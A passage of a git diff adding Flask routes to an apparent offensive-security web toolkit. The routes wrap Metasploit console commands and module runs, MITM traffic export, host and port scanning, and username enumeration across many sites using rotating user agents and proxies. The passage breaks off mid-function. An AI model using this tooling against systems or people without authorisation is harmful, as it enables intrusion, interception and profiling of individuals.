@mitm_proxy_bp.route('/traffic', methods=['DELETE'])
|
||||
@login_required
|
||||
def clear_traffic():
|
||||
return jsonify(_get_proxy().clear_traffic())
|
||||
|
||||
|
||||
@mitm_proxy_bp.route('/traffic/export')
|
||||
@login_required
|
||||
def export_traffic():
|
||||
fmt = request.args.get('format', 'json')
|
||||
result = _get_proxy().export_traffic(fmt=fmt)
|
||||
if not result.get('success'):
|
||||
return jsonify(result), 400
|
||||
|
||||
if fmt == 'json':
|
||||
return Response(
|
||||
result['data'],
|
||||
mimetype='application/json',
|
||||
headers={'Content-Disposition': 'attachment; filename=mitm_traffic.json'}
|
||||
)
|
||||
elif fmt == 'csv':
|
||||
return Response(
|
||||
result['data'],
|
||||
mimetype='text/csv',
|
||||
headers={'Content-Disposition': 'attachment; filename=mitm_traffic.csv'}
|
||||
)
|
||||
|
||||
return jsonify(result)
|
||||
64
web/routes/msf.py
Normal file
64
web/routes/msf.py
Normal file
@@ -0,0 +1,64 @@
|
||||
"""MSF RPC Console page — raw console interaction and connection management."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
msf_bp = Blueprint('msf', __name__, url_prefix='/msf')
|
||||
|
||||
|
||||
@msf_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('msf.html')
|
||||
|
||||
|
||||
@msf_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
"""Check MSF connection status."""
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
result = {'connected': msf.is_connected}
|
||||
if msf.is_connected:
|
||||
try:
|
||||
settings = msf.manager.get_settings()
|
||||
result['host'] = settings.get('host', 'localhost')
|
||||
result['port'] = settings.get('port', 55553)
|
||||
except Exception:
|
||||
pass
|
||||
return jsonify(result)
|
||||
except Exception:
|
||||
return jsonify({'connected': False})
|
||||
|
||||
|
||||
@msf_bp.route('/connect', methods=['POST'])
|
||||
@login_required
|
||||
def connect():
|
||||
"""Reconnect to MSF RPC."""
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
ok, msg = msf.ensure_connected()
|
||||
return jsonify({'connected': ok, 'message': msg})
|
||||
except Exception as e:
|
||||
return jsonify({'connected': False, 'error': str(e)})
|
||||
|
||||
|
||||
@msf_bp.route('/console/send', methods=['POST'])
|
||||
@login_required
|
||||
def console_send():
|
||||
"""Send a command to the MSF console and return output."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
cmd = data.get('cmd', '').strip()
|
||||
if not cmd:
|
||||
return jsonify({'output': ''})
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
if not msf.is_connected:
|
||||
return jsonify({'error': 'Not connected to MSF RPC'})
|
||||
ok, output = msf.run_console_command(cmd)
|
||||
return jsonify({'output': output, 'ok': ok})
|
||||
except Exception as e:
|
||||
return jsonify({'error': str(e)})
|
||||
85
web/routes/net_mapper.py
Normal file
85
web/routes/net_mapper.py
Normal file
@@ -0,0 +1,85 @@
|
||||
"""Network Topology Mapper — web routes."""
|
||||
|
||||
from flask import Blueprint, render_template, request, jsonify
|
||||
from web.auth import login_required
|
||||
|
||||
net_mapper_bp = Blueprint('net_mapper', __name__)
|
||||
|
||||
|
||||
def _svc():
|
||||
from modules.net_mapper import get_net_mapper
|
||||
return get_net_mapper()
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/')
|
||||
@login_required
|
||||
def index():
|
||||
return render_template('net_mapper.html')
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/discover', methods=['POST'])
|
||||
@login_required
|
||||
def discover():
|
||||
data = request.get_json(silent=True) or {}
|
||||
target = data.get('target', '').strip()
|
||||
if not target:
|
||||
return jsonify({'ok': False, 'error': 'Target required'})
|
||||
return jsonify(_svc().discover_hosts(target, method=data.get('method', 'auto')))
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/discover/<job_id>', methods=['GET'])
|
||||
@login_required
|
||||
def discover_status(job_id):
|
||||
return jsonify(_svc().get_job_status(job_id))
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/scan-host', methods=['POST'])
|
||||
@login_required
|
||||
def scan_host():
|
||||
data = request.get_json(silent=True) or {}
|
||||
ip = data.get('ip', '').strip()
|
||||
if not ip:
|
||||
return jsonify({'ok': False, 'error': 'IP required'})
|
||||
return jsonify(_svc().scan_host(ip,
|
||||
port_range=data.get('port_range', '1-1024'),
|
||||
service_detection=data.get('service_detection', True),
|
||||
os_detection=data.get('os_detection', True)))
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/topology', methods=['POST'])
|
||||
@login_required
|
||||
def build_topology():
|
||||
data = request.get_json(silent=True) or {}
|
||||
hosts = data.get('hosts', [])
|
||||
return jsonify({'ok': True, **_svc().build_topology(hosts)})
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/scans', methods=['GET'])
|
||||
@login_required
|
||||
def list_scans():
|
||||
return jsonify({'ok': True, 'scans': _svc().list_scans()})
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/scans', methods=['POST'])
|
||||
@login_required
|
||||
def save_scan():
|
||||
data = request.get_json(silent=True) or {}
|
||||
name = data.get('name', 'unnamed')
|
||||
hosts = data.get('hosts', [])
|
||||
return jsonify(_svc().save_scan(name, hosts))
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/scans/<filename>', methods=['GET'])
|
||||
@login_required
|
||||
def load_scan(filename):
|
||||
data = _svc().load_scan(filename)
|
||||
if data:
|
||||
return jsonify({'ok': True, 'scan': data})
|
||||
return jsonify({'ok': False, 'error': 'Scan not found'})
|
||||
|
||||
|
||||
@net_mapper_bp.route('/net-mapper/diff', methods=['POST'])
|
||||
@login_required
|
||||
def diff_scans():
|
||||
data = request.get_json(silent=True) or {}
|
||||
return jsonify(_svc().diff_scans(data.get('scan1', ''), data.get('scan2', '')))
|
||||
392
web/routes/offense.py
Normal file
392
web/routes/offense.py
Normal file
@@ -0,0 +1,392 @@
|
||||
"""Offense category route - MSF server control, module search, sessions, browsing, execution."""
|
||||
|
||||
import json
|
||||
import threading
|
||||
import uuid
|
||||
from flask import Blueprint, render_template, request, jsonify, Response
|
||||
from web.auth import login_required
|
||||
|
||||
_running_jobs: dict = {} # job_id -> threading.Event (stop signal)
|
||||
|
||||
offense_bp = Blueprint('offense', __name__, url_prefix='/offense')
|
||||
|
||||
|
||||
@offense_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'offense'}
|
||||
return render_template('offense.html', modules=modules)
|
||||
|
||||
|
||||
@offense_bp.route('/status')
|
||||
@login_required
|
||||
def status():
|
||||
"""Get MSF connection and server status."""
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
from core.msf import get_msf_manager
|
||||
msf = get_msf_interface()
|
||||
mgr = get_msf_manager()
|
||||
connected = msf.is_connected
|
||||
settings = mgr.get_settings()
|
||||
|
||||
# Check if server process is running
|
||||
server_running, server_pid = mgr.detect_server()
|
||||
|
||||
result = {
|
||||
'connected': connected,
|
||||
'server_running': server_running,
|
||||
'server_pid': server_pid,
|
||||
'host': settings.get('host', '127.0.0.1'),
|
||||
'port': settings.get('port', 55553),
|
||||
'username': settings.get('username', 'msf'),
|
||||
'ssl': settings.get('ssl', True),
|
||||
'has_password': bool(settings.get('password', '')),
|
||||
}
|
||||
if connected:
|
||||
try:
|
||||
version = msf.manager.rpc.get_version()
|
||||
result['version'] = version.get('version', '')
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return jsonify(result)
|
||||
except Exception as e:
|
||||
return jsonify({'connected': False, 'server_running': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/connect', methods=['POST'])
|
||||
@login_required
|
||||
def connect():
|
||||
"""Connect to MSF RPC server."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
password = data.get('password', '').strip()
|
||||
|
||||
try:
|
||||
from core.msf import get_msf_manager
|
||||
mgr = get_msf_manager()
|
||||
settings = mgr.get_settings()
|
||||
|
||||
# Use provided password or saved one
|
||||
pwd = password or settings.get('password', '')
|
||||
if not pwd:
|
||||
return jsonify({'ok': False, 'error': 'Password required'})
|
||||
|
||||
mgr.connect(pwd)
|
||||
version = mgr.rpc.get_version() if mgr.rpc else {}
|
||||
return jsonify({
|
||||
'ok': True,
|
||||
'version': version.get('version', 'Connected')
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/disconnect', methods=['POST'])
|
||||
@login_required
|
||||
def disconnect():
|
||||
"""Disconnect from MSF RPC server."""
|
||||
try:
|
||||
from core.msf import get_msf_manager
|
||||
mgr = get_msf_manager()
|
||||
mgr.disconnect()
|
||||
return jsonify({'ok': True})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/server/start', methods=['POST'])
|
||||
@login_required
|
||||
def start_server():
|
||||
"""Start the MSF RPC server."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
|
||||
try:
|
||||
from core.msf import get_msf_manager
|
||||
mgr = get_msf_manager()
|
||||
settings = mgr.get_settings()
|
||||
|
||||
username = data.get('username', '').strip() or settings.get('username', 'msf')
|
||||
password = data.get('password', '').strip() or settings.get('password', '')
|
||||
host = data.get('host', '').strip() or settings.get('host', '127.0.0.1')
|
||||
port = int(data.get('port', 0) or settings.get('port', 55553))
|
||||
use_ssl = data.get('ssl', settings.get('ssl', True))
|
||||
|
||||
if not password:
|
||||
return jsonify({'ok': False, 'error': 'Password required to start server'})
|
||||
|
||||
# Save settings
|
||||
mgr.save_settings(host, port, username, password, use_ssl)
|
||||
|
||||
# Kill existing server if running
|
||||
is_running, _ = mgr.detect_server()
|
||||
if is_running:
|
||||
mgr.kill_server(use_sudo=False)
|
||||
|
||||
# Start server (no sudo on web — would hang waiting for password)
|
||||
import sys
|
||||
use_sudo = sys.platform != 'win32' and data.get('sudo', False)
|
||||
ok = mgr.start_server(username, password, host, port, use_ssl, use_sudo=use_sudo)
|
||||
|
||||
if ok:
|
||||
# Auto-connect after starting
|
||||
try:
|
||||
mgr.connect(password)
|
||||
version = mgr.rpc.get_version() if mgr.rpc else {}
|
||||
return jsonify({
|
||||
'ok': True,
|
||||
'message': 'Server started and connected',
|
||||
'version': version.get('version', '')
|
||||
})
|
||||
except Exception:
|
||||
return jsonify({'ok': True, 'message': 'Server started (connect manually)'})
|
||||
else:
|
||||
return jsonify({'ok': False, 'error': 'Failed to start server'})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/server/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop_server():
|
||||
"""Stop the MSF RPC server."""
|
||||
try:
|
||||
from core.msf import get_msf_manager
|
||||
mgr = get_msf_manager()
|
||||
ok = mgr.kill_server(use_sudo=False)
|
||||
return jsonify({'ok': ok})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/settings', methods=['POST'])
|
||||
@login_required
|
||||
def save_settings():
|
||||
"""Save MSF connection settings."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
try:
|
||||
from core.msf import get_msf_manager
|
||||
mgr = get_msf_manager()
|
||||
mgr.save_settings(
|
||||
host=data.get('host', '127.0.0.1'),
|
||||
port=int(data.get('port', 55553)),
|
||||
username=data.get('username', 'msf'),
|
||||
password=data.get('password', ''),
|
||||
use_ssl=data.get('ssl', True),
|
||||
)
|
||||
return jsonify({'ok': True})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/jobs')
|
||||
@login_required
|
||||
def list_jobs():
|
||||
"""List running MSF jobs."""
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
if not msf.is_connected:
|
||||
return jsonify({'jobs': {}, 'error': 'Not connected to MSF'})
|
||||
jobs = msf.list_jobs()
|
||||
return jsonify({'jobs': jobs})
|
||||
except Exception as e:
|
||||
return jsonify({'jobs': {}, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/jobs/<job_id>/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop_job(job_id):
|
||||
"""Stop a running MSF job."""
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
ok = msf.stop_job(job_id)
|
||||
return jsonify({'ok': ok})
|
||||
except Exception as e:
|
||||
return jsonify({'ok': False, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/search', methods=['POST'])
|
||||
@login_required
|
||||
def search():
|
||||
"""Search MSF modules (offline library first, then live if connected)."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
query = data.get('query', '').strip()
|
||||
|
||||
if not query:
|
||||
return jsonify({'error': 'No search query provided'})
|
||||
|
||||
# Search offline library first
|
||||
try:
|
||||
from core.msf_modules import search_modules as offline_search
|
||||
results = offline_search(query, max_results=30)
|
||||
modules = [{'path': r['path'], 'name': r.get('name', ''), 'description': r.get('description', '')} for r in results]
|
||||
except Exception:
|
||||
modules = []
|
||||
|
||||
# If no offline results and MSF is connected, try live search
|
||||
if not modules:
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
if msf.is_connected:
|
||||
live_results = msf.search_modules(query)
|
||||
modules = [{'path': r, 'name': r.split('/')[-1] if isinstance(r, str) else '', 'description': ''} for r in live_results[:30]]
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return jsonify({'modules': modules})
|
||||
|
||||
|
||||
@offense_bp.route('/sessions')
|
||||
@login_required
|
||||
def sessions():
|
||||
"""List active MSF sessions."""
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
if not msf.is_connected:
|
||||
return jsonify({'sessions': {}, 'error': 'Not connected to MSF'})
|
||||
|
||||
sessions_data = msf.list_sessions()
|
||||
# Convert session data to serializable format
|
||||
result = {}
|
||||
for sid, sinfo in sessions_data.items():
|
||||
if isinstance(sinfo, dict):
|
||||
result[str(sid)] = sinfo
|
||||
else:
|
||||
result[str(sid)] = {
|
||||
'type': getattr(sinfo, 'type', ''),
|
||||
'tunnel_peer': getattr(sinfo, 'tunnel_peer', ''),
|
||||
'info': getattr(sinfo, 'info', ''),
|
||||
'target_host': getattr(sinfo, 'target_host', ''),
|
||||
}
|
||||
|
||||
return jsonify({'sessions': result})
|
||||
except Exception as e:
|
||||
return jsonify({'sessions': {}, 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/modules/<module_type>')
|
||||
@login_required
|
||||
def browse_modules(module_type):
|
||||
"""Browse modules by type from offline library."""
|
||||
page = request.args.get('page', 1, type=int)
|
||||
per_page = 20
|
||||
|
||||
try:
|
||||
from core.msf_modules import get_modules_by_type
|
||||
all_modules = get_modules_by_type(module_type)
|
||||
|
||||
start = (page - 1) * per_page
|
||||
end = start + per_page
|
||||
page_modules = all_modules[start:end]
|
||||
|
||||
modules = [{'path': m['path'], 'name': m.get('name', '')} for m in page_modules]
|
||||
|
||||
return jsonify({
|
||||
'modules': modules,
|
||||
'total': len(all_modules),
|
||||
'page': page,
|
||||
'has_more': end < len(all_modules),
|
||||
})
|
||||
except Exception as e:
|
||||
return jsonify({'modules': [], 'error': str(e)})
|
||||
|
||||
|
||||
@offense_bp.route('/module/info', methods=['POST'])
|
||||
@login_required
|
||||
def module_info():
|
||||
"""Get module info."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
module_path = data.get('module_path', '').strip()
|
||||
|
||||
if not module_path:
|
||||
return jsonify({'error': 'No module path provided'})
|
||||
|
||||
# Try offline library first
|
||||
try:
|
||||
from core.msf_modules import get_module_info
|
||||
info = get_module_info(module_path)
|
||||
if info:
|
||||
return jsonify({
|
||||
'path': module_path,
|
||||
'name': info.get('name', ''),
|
||||
'description': info.get('description', ''),
|
||||
'author': info.get('author', []),
|
||||
'platforms': info.get('platforms', []),
|
||||
'reliability': info.get('reliability', ''),
|
||||
'options': info.get('options', []),
|
||||
'notes': info.get('notes', ''),
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Try live MSF
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
if msf.is_connected:
|
||||
info = msf.get_module_info(module_path)
|
||||
if info:
|
||||
return jsonify({
|
||||
'path': module_path,
|
||||
**info
|
||||
})
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
return jsonify({'error': f'Module not found: {module_path}'})
|
||||
|
||||
|
||||
@offense_bp.route('/module/run', methods=['POST'])
|
||||
@login_required
|
||||
def run_module():
|
||||
"""Run an MSF module and stream output via SSE."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
module_path = data.get('module_path', '').strip()
|
||||
options = data.get('options', {})
|
||||
if not module_path:
|
||||
return jsonify({'error': 'No module_path provided'})
|
||||
|
||||
job_id = str(uuid.uuid4())
|
||||
stop_event = threading.Event()
|
||||
_running_jobs[job_id] = stop_event
|
||||
|
||||
def generate():
|
||||
yield f"data: {json.dumps({'status': 'running', 'job_id': job_id})}\n\n"
|
||||
try:
|
||||
from core.msf_interface import get_msf_interface
|
||||
msf = get_msf_interface()
|
||||
if not msf.is_connected:
|
||||
yield f"data: {json.dumps({'error': 'Not connected to MSF'})}\n\n"
|
||||
return
|
||||
result = msf.run_module(module_path, options)
|
||||
for line in (result.cleaned_output or '').splitlines():
|
||||
if stop_event.is_set():
|
||||
break
|
||||
yield f"data: {json.dumps({'line': line})}\n\n"
|
||||
yield f"data: {json.dumps({'done': True, 'findings': result.findings, 'services': result.services, 'open_ports': result.open_ports})}\n\n"
|
||||
except Exception as e:
|
||||
yield f"data: {json.dumps({'error': str(e)})}\n\n"
|
||||
finally:
|
||||
_running_jobs.pop(job_id, None)
|
||||
|
||||
return Response(generate(), mimetype='text/event-stream',
|
||||
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
|
||||
|
||||
|
||||
@offense_bp.route('/module/stop', methods=['POST'])
|
||||
@login_required
|
||||
def stop_module():
|
||||
"""Stop a running module job."""
|
||||
data = request.get_json(silent=True) or {}
|
||||
job_id = data.get('job_id', '')
|
||||
ev = _running_jobs.get(job_id)
|
||||
if ev:
|
||||
ev.set()
|
||||
return jsonify({'stopped': bool(ev)})
|
||||
550
web/routes/osint.py
Normal file
550
web/routes/osint.py
Normal file
@@ -0,0 +1,550 @@
|
||||
"""OSINT category route - advanced search engine with SSE, dossier management, export."""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import time
|
||||
import threading
|
||||
import urllib.request
|
||||
import urllib.error
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from random import randint
|
||||
from urllib.parse import urlparse
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
|
||||
from flask import Blueprint, render_template, request, Response, current_app, jsonify, stream_with_context
|
||||
from web.auth import login_required
|
||||
|
||||
osint_bp = Blueprint('osint', __name__, url_prefix='/osint')
|
||||
|
||||
# Dossier storage directory
|
||||
from core.paths import get_data_dir
|
||||
DOSSIER_DIR = get_data_dir() / 'dossiers'
|
||||
DOSSIER_DIR.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
# User agents for rotation
|
||||
USER_AGENTS = [
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
|
||||
'Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0',
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
|
||||
]
|
||||
|
||||
# WAF / challenge page patterns
|
||||
WAF_PATTERNS = re.compile(
|
||||
r'cloudflare|captcha|challenge|please wait|checking your browser|'
|
||||
r'access denied|blocked|rate limit|too many requests',
|
||||
re.IGNORECASE
|
||||
)
|
||||
|
||||
# Not-found generic strings
|
||||
NOT_FOUND_STRINGS = [
|
||||
'page not found', 'user not found', 'profile not found', 'account not found',
|
||||
'no user', 'does not exist', 'doesn\'t exist', '404', 'not exist',
|
||||
'could not be found', 'no results', 'this page is not available',
|
||||
]
|
||||
|
||||
# Found generic strings (with {username} placeholder)
|
||||
FOUND_STRINGS = [
|
||||
'{username}', '@{username}',
|
||||
]
|
||||
|
||||
|
||||
def _check_site(site, username, timeout=8, user_agent=None, proxy=None):
|
||||
"""Check if username exists on a site using detection patterns.
|
||||
|
||||
Returns result dict or None if not found.
|
||||
"""
|
||||
try:
|
||||
time.sleep(randint(5, 50) / 1000)
|
||||
|
||||
url = site['url'].replace('{}', username).replace('{username}', username).replace('{account}', username)
|
||||
|
||||
headers = {
|
||||
'User-Agent': user_agent or USER_AGENTS[randint(0, len(USER_AGENTS) - 1)],
|
||||
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
|
||||
'Accept-Language': 'en-US,en;q=0.9',
|
||||
'Connection': 'keep-alive',
|
||||
}
|
||||
|
||||
req = urllib.request.Request(url, headers=headers)
|
||||
|
||||
# Proxy support
|
||||
opener = None
|
||||
if proxy:
|
||||
proxy_handler = urllib.request.ProxyHandler({'http': proxy, 'https': proxy})
|
||||
opener = urllib.request.build_opener(proxy_handler)
|
||||
|
||||
error_type = site.get('error_type', 'status_code')
|
||||
error_code = site.get('error_code')
|
||||
error_string = (site.get('error_string') or '').strip() or None
|
||||
match_string = (site.get('match_string') or '').strip() or None
|
||||
|
||||
try:
|
||||
if opener:
|
||||
response = opener.open(req, timeout=timeout)
|
||||
else:
|
||||
response = urllib.request.urlopen(req, timeout=timeout)
|
||||
|
||||
status_code = response.getcode()
|
||||
final_url = response.geturl()
|
||||
raw_content = response.read()
|
||||
content = raw_content.decode('utf-8', errors='ignore')
|
||||
content_lower = content.lower()
|
||||
content_len = len(content)
|
||||
|
||||
# Extract title
|
||||
title = ''
|
||||
title_match = re.search(r'<title[^>]*>([^<]+)</title>', content, re.IGNORECASE)
|
||||
if title_match:
|
||||
title = title_match.group(1).strip()
|
||||
|
||||
response.close()
|
||||
|
||||
# WAF/Challenge detection
|
||||
cf_patterns = ['just a moment', 'checking your browser', 'cf-browser-verification', 'cf_chl_opt']
|
||||
if any(p in content_lower for p in cf_patterns):
|
||||
return {
|
||||
'name': site['name'], 'url': url, 'category': site.get('category', ''),
|
||||
'status': 'filtered', 'rate': 0, 'title': 'filtered',
|
||||
}
|
||||
if WAF_PATTERNS.search(content) and content_len < 5000:
|
||||
return {
|
||||
'name': site['name'], 'url': url, 'category': site.get('category', ''),
|
||||
'status': 'filtered', 'rate': 0, 'title': 'filtered',
|
||||
}
|
||||
|
||||
# Detection
|
||||
username_lower = username.lower()
|
||||
not_found_texts = []
|
||||
check_texts = []
|
||||
|
||||
if error_string:
|
||||
not_found_texts.append(error_string.lower())
|
||||
if match_string:
|
||||
check_texts.append(
|
||||
match_string.replace('{username}', username).replace('{account}', username).lower()
|
||||
)
|
||||
|
||||
# Status code detection
|
||||
if error_type == 'status_code':
|
||||
if error_code and status_code == error_code:
|
||||
return None
|
||||
if status_code >= 400:
|
||||
return None
|
||||
|
||||
# Redirect detection
|
||||
if error_type in ('response_url', 'redirection'):
|
||||
if final_url != url and username_lower not in final_url.lower():
|
||||
parsed = urlparse(final_url)
|
||||
if parsed.netloc.lower() != urlparse(url).netloc.lower():
|
||||
return None
|
||||
fp_paths = ['login', 'signup', 'register', 'error', '404', 'home']
|
||||
if any(fp in final_url.lower() for fp in fp_paths):
|
||||
return None
|
||||
|
||||
# Pattern matching
|
||||
not_found_matched = any(nf in content_lower for nf in not_found_texts if nf)
|
||||
check_matched = any(ct in content_lower for ct in check_texts if ct)
|
||||
|
||||
# Fallback generic patterns
|
||||
if not not_found_texts:
|
||||
not_found_matched = any(nf in content_lower for nf in NOT_FOUND_STRINGS)
|
||||
|
||||
if not_found_matched:
|
||||
return None
|
||||
|
||||
username_in_content = username_lower in content_lower
|
||||
username_in_title = username_lower in title.lower() if title else False
|
||||
|
||||
# Calculate confidence
|
||||
if check_matched and (username_in_content or username_in_title):
|
||||
status = 'good'
|
||||
rate = min(100, 70 + (10 if username_in_title else 0) + (10 if username_in_content else 0))
|
||||
elif check_matched:
|
||||
status = 'maybe'
|
||||
rate = 55
|
||||
elif username_in_content and status_code == 200:
|
||||
status = 'maybe'
|
||||
rate = 45
|
||||
elif status_code == 200 and content_len > 1000:
|
||||
status = 'maybe'
|
||||
rate = 30
|
||||
else:
|
||||
return None
|
||||
|
||||
if content_len < 500 and not check_matched and not username_in_content:
|
||||
return None
|
||||
if rate < 30:
|
||||
return None
|
||||
|
||||
return {
|
||||
'name': site['name'],
|
||||
'url': url,
|
||||
'category': site.get('category', ''),
|
||||
'status': status,
|
||||
'rate': rate,
|
||||
'title': title[:100] if title else '',
|
||||
'http_code': status_code,
|
||||
'method': error_type or 'status',
|
||||
}
|
||||
|
||||
except urllib.error.HTTPError as e:
|
||||
if error_code and e.code == error_code:
|
||||
return None
|
||||
if e.code == 404:
|
||||
return None
|
||||
if e.code in [403, 401]:
|
||||
return {
|
||||
'name': site['name'], 'url': url, 'category': site.get('category', ''),
|
||||
'status': 'restricted', 'rate': 0,
|
||||
}
|
||||
return None
|
||||
except (urllib.error.URLError, TimeoutError, OSError):
|
||||
return None
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
@osint_bp.route('/')
|
||||
@login_required
|
||||
def index():
|
||||
from core.menu import MainMenu
|
||||
menu = MainMenu()
|
||||
menu.load_modules()
|
||||
modules = {k: v for k, v in menu.modules.items() if v.category == 'osint'}
|
||||
|
||||
categories = []
|
||||
db_stats = {}
|
||||
try:
|
||||
from core.sites_db import get_sites_db
|
||||
db = get_sites_db()
|
||||
categories = db.get_categories()
|
||||
db_stats = db.get_stats()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
config = current_app.autarch_config
|
||||
osint_settings = config.get_osint_settings()
|
||||
|
||||
return render_template('osint.html',
|
||||
modules=modules,
|
||||
categories=categories,
|
||||
osint_settings=osint_settings,
|
||||
db_stats=db_stats,
|
||||
)
|
||||
|
||||
|
||||
@osint_bp.route('/categories')
|
||||
@login_required
|
||||
def get_categories():
|
||||
"""Get site categories with counts."""
|
||||
try:
|
||||
from core.sites_db import get_sites_db
|
||||
db = get_sites_db()
|
||||
cats = db.get_categories()
|
||||
return jsonify({'categories': [{'name': c[0], 'count': c[1]} for c in cats]})
|
||||
except Exception as e:
|
||||
return jsonify({'error': str(e), 'categories': []})
|
||||
|
||||
|
||||
@osint_bp.route('/stats')
|
||||
@login_required
|
||||
def db_stats():
|
||||
"""Get sites database statistics."""
|
||||
try:
|
||||
from core.sites_db import get_sites_db
|
||||
db = get_sites_db()
|
||||
stats = db.get_stats()
|
||||
return jsonify(stats)
|
||||
except Exception as e:
|
||||
return jsonify({'error': str(e)})
|
||||
|
||||
|
||||
@osint_bp.route('/search/stream')
|
||||
@login_required
|
||||
def search_stream():
|
||||
"""SSE endpoint for real-time OSINT search with proper detection."""
|
||||
search_type = request.args.get('type', 'username')
|
||||
query = request.args.get('q', '').strip()
|
||||
max_sites = int(request.args.get('max', 500))
|
||||
include_nsfw = request.args.get('nsfw', 'false') == 'true'
|
||||
categories_str = request.args.get('categories', '')
|
||||
timeout = int(request.args.get('timeout', 8))
|
||||
threads = int(request.args.get('threads', 8))
|
||||
user_agent = request.args.get('ua', '') or None
|
||||
proxy = request.args.get('proxy', '') or None
|
||||
|
||||
# Clamp values
|
||||
timeout = max(3, min(30, timeout))
|
||||
threads = max(1, min(20, threads))
|
||||
if max_sites == 0:
|
||||
max_sites = 10000 # "Full" mode
|
||||
|
||||
if not query:
|
||||
return Response('data: {"error": "No query provided"}\n\n',
|
||||
content_type='text/event-stream')
|
||||
|
||||
def generate():
|
||||
try:
|
||||
from core.sites_db import get_sites_db
|
||||
db = get_sites_db()
|
||||
|
||||
cat_filter = [c.strip() for c in categories_str.split(',') if c.strip()] if categories_str else None
|
||||
|
||||
sites = db.get_sites_for_scan(
|
||||
categories=cat_filter,
|
||||
include_nsfw=include_nsfw,
|
||||
max_sites=max_sites,
|
||||
)
|
||||
|
||||
total = len(sites)
|
||||
yield f'data: {json.dumps({"type": "start", "total": total})}\n\n'
|
||||
|
||||
checked = 0
|
||||
found = 0
|
||||
maybe = 0
|
||||
filtered = 0
|
||||
results_list = []
|
||||
|
||||
# Use ThreadPoolExecutor for concurrent scanning
|
||||
with ThreadPoolExecutor(max_workers=threads) as executor:
|
||||
future_to_site = {}
|
||||
for site in sites:
|
||||
future = executor.submit(
|
||||
_check_site, site, query,
|
||||
timeout=timeout,
|
||||
user_agent=user_agent,
|
||||
proxy=proxy,
|
||||
)
|
||||
future_to_site[future] = site
|
||||
|
||||
for future in as_completed(future_to_site):
|
||||
checked += 1
|
||||
site = future_to_site[future]
|
||||
result_data = {
|
||||
'type': 'result',
|
||||
'site': site['name'],
|
||||
'category': site.get('category', ''),
|
||||
'checked': checked,
|
||||
